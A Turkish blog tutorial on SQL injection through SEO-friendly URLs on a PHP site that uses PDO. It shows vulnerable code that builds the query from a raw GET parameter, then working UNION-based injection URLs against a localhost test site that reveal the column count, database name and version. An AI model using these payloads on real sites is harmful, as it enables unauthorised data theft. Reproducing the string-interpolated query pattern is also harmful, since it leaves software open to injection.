19 Ekim 2018 Cuma

Sef Url - PDO Injection

Merhaba arkadaşlar bu yazımda pdo ve sef url injectionu anlatacağım. Videolarda genelde html injection olarak anlatılıyor aslında yanlış bir tanım olur sef url için. Site içinde seo url ve db bağlantısı olarak pdo kullanılmaktadır.




Şimdi urlnin sonuna bir tırnak atalım ve sorgumuzu inceleyelim.

Sorgumuz aşağıdaki gibidir. Dışardan get olarak gelen "s" htaccess ile seo url ye dönüştürüp ekrana basıyor.



$s=$_GET["s"];
$urn = $db->prepare("SELECT * FROM referanslar where ref_seo='$s'");

Tırnak attık http://localhost/sefurl/ref/a-firmasi'
SELECT * FROM referanslar where ref_seo='' ve gönderdiğimiz tırnak sorguyu bozdu ve ekrana beyaz sayfa verdi.

Tırnaktan sonra sql sorgumuzu durdurma operatörlerini kullanarak sorgumuzun true dönmesini sağlıyoruz.

http://localhost/sefurl/ref/a-firmasi'-- -

SELECT * FROM referanslar where ref_seo='a-firmasi'-- -' 

sorgu true döndü ve içerikler ekrana basıldı




http://localhost/sefurl/ref/a-firmasi' order by 6-- - yaptık beyaz sayfa aldık. Yani 6'dan daha küçük bir column sayısı var.





http://localhost/sefurl/ref/a-firmasi' order by 5-- - yaptık true döndü sorgumuz. ve ekrana tekrar veriler geldi.




Şimdi veritabanındaki verileri çekmeye başlayabiliriz. Union select ile 5'e kadar yazıyoruz.
http://localhost/sefurl/ref/a-firmasi' union select 1,2,3,4,5-- - 




Ekrana sayılar geldi bunlar ne anlama gelir? Bunlar programcının kullandığı column numaraları yani örnek verecek olursak ekrana başlık ve içerik bilgileri yazdırılıyor phpmyadminden bakalım.



bizim union select sorgumuzda 3,4 sayıları ekrana vermişti programcının kullandığı columnların sayısı yani ref_baslik 3.sırada ref_icerik 4. sırada
lafı fazla uzatmadan veri çekmeye başlayalım.

Ekrana yansıyan sayıları union select sorgumuzdaki sayıların yerlerine database adını ve versionu yazdım.
http://localhost/sefurl/ref/a-firmasi' union select 1,2,database(),version(),5-- -
yazdık ve çıktıya bakıyoruz.


SELECT * FROM referanslar where ref_seo='a-firmasi' union select 1,2,database(),version(),5-- -'




Not: Sitelere göre değişiklik gösterebilir .html ile bitebilir site/sefurl/ref/a-firmasi.html sorguyu durdurma operatörleri sadece -- - değil --+ ,#, and'1 şeklinde sorguları durdurabilirsiniz.

Başka yazılarda görüşmek üzere.



2 yorum

Batuhan hocam bir iş için size ulaşmam gerek ulaşabileceğim herhangi bir mail adresi veya sosyal medya hesabı var mıdır? Detayları oradan aktarmak isterim...

Batuhan bey size nereden ulaşabilirim birkaç şey sormam gerek


EmojilerEmojiler